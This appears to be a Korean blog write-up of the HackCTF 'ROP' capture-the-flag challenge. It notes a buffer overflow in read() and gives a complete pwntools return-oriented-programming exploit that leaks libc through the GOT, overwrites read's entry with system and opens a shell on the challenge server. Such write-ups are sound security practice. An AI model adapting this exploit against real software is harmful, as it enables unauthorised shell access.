HACKCTF - ROP
2020. 9. 13. 15:27ㆍCTF's Write-up
해당 파일을 실행시켜보면
단순하게 hihi하나를 입력받고, "Hello, World!"을 출력시켜줍니다.
취약한 함수를 보면 read함수에서 bof가 일어나고,
write함수도 있으니 문제 이름그대로 ROP를 이용해서 풀면 될 것 같습니다.
ROP는 ROPASAROUXhttps://blog.pwnable.co.kr/266rop사우로드 문제에서 자세히 다뤘음으로
payload만 간략하게 다루겠습니다.
그 문제 그대로 풀이하면 될 듯 합니다 ㅎ
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3021)
#r = process("./rop")
e = ELF("./rop")
context.log_level = "debug"
libc = ELF("./libc.so.6")
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
bss = 0x0804a024
shell = "/bin/sh\00"
pppr = 0x08048509
payload = ""
payload += "A"*0x88 + "A"*0x4
payload += p32(read_plt) + p32(pppr) + p32(0) +p32(bss) + p32(len(shell))
payload += p32(write_plt) + p32(pppr) + p32(1) + p32(read_got) + p32(4)
payload += p32(read_plt) + p32(pppr) + p32(0) + p32(read_got) + p32(4)
payload += p32(read_plt) + "AAAA" + p32(bss)
r.sendline(payload)
r.send(shell)
sleep(0.1)
read_add = u32(r.recv(4))
base_add = read_add - read_offset
system_add = base_add + system_offset
log.info("base_add = " + hex(base_add))
log.info("system_add = " + hex(system_add))
r.sendline(p32(system_add))
r.interactive()
|
cs |
이를 실행시키면
이렇게 flag를 획득할 수 있습니다,
'CTF's Write-up' 카테고리의 다른 글
HACKCTF - SysROP (0) | 2020.09.15 |
---|---|
HACKCTF - Unexploitable #1 (0) | 2020.09.13 |
[보호]HACKCTF - LOL (0) | 2020.09.09 |
HACKCTF - Random Key (0) | 2020.09.08 |
HACKCTF - Poet (0) | 2020.09.07 |